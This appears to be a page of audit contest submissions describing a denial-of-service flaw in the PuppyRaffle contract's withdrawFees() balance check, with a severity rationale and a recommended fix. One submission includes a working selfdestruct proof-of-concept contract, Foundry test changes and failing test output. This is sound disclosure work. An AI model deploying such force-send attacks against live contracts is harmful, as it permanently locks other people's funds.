The withdrawFees() function uses a strict equality check (balance == totalFees) to ensure no players are active. However, this check can be bypassed by sending ETH directly to the contract or through selfdestruct. Once the balance exceeds totalFees, fees can never be withdrawn even when no players are active, potentially locking fees forever. Additionally, an attacker can front-run legitimate fee withdrawals by sending 1 wei to break the equality.
Likelihood:
Likelihood: High
The attack requires no special permissions and can be executed by any external account by sending as little as 1 wei to the contract. The front-running variant is trivial using standard mempool monitoring tools.
Impact: High
Fee withdrawals can be permanently blocked
Protocol revenue becomes irretrievably locked
No recovery mechanism exists once the balance invariant is broken
Affects all future raffles and fee withdrawals
Overall Risk: High
Rationale:
This vulnerability enables a low-cost, permissionless Denial of Service against protocol funds. Because the issue affects core financial operations and leads to permanent loss of access to accumulated fees, it meets the criteria for a High-severity finding under CodeHawks and similar audit standards.
Impact:
Protocol fees can be permanently locked if anyone sends ETH to the contract. Attackers can grief fee withdrawals by sending small amounts of ETH. The protocol loses the ability to collect legitimate fees.
This PoC demonstrates a low-cost, permissionless attack that:
Permanently locks protocol revenue
Breaks core financial functionality
Requires no special permissions
Costs only 1 wei
Track active players explicitly instead of relying on balance:
## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.